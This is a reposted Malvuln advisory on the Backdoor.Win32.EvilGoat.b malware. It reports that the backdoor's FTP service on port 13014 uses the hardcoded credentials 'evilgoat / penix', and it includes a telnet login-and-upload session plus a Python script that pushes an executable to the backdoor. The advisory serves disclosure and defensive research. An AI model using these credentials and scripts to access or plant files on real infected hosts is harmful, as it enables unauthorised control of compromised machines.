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Backdoor.Win32.EvilGoat.b / Weak Hardcoded Credentials

CVE Category Price Severity
N/A CWE-798 Varies High
Author Risk Exploitation Type Date
Unknown High Remote 2022-07-08
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022070022

Below is a copy:

Backdoor.Win32.EvilGoat.b / Weak Hardcoded Credentials
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/20daf01e941f966b21a7ae431faefc65.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.EvilGoat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file.
Family: EvilGoat
Type: PE32
MD5: 20daf01e941f966b21a7ae431faefc65
Vuln ID: MVID-2022-0619
Dropped files: ftpsvr.exe
Disclosure: 06/29/2022

Exploit/PoC:
telnet.exe x.x.x.x 13014

220 FTP Server
USER evilgoat
331 Password required for evilgoat.
PASS penix
230 User evilgoat logged in.
SYST
500 'SYST': command not understood.
PASV
227 Entering Passive Mode (192,168,18,125,236,209)
CDUP \
250 CWD command successful.
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Upload Complete, 25602 bytes sent.

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=60625
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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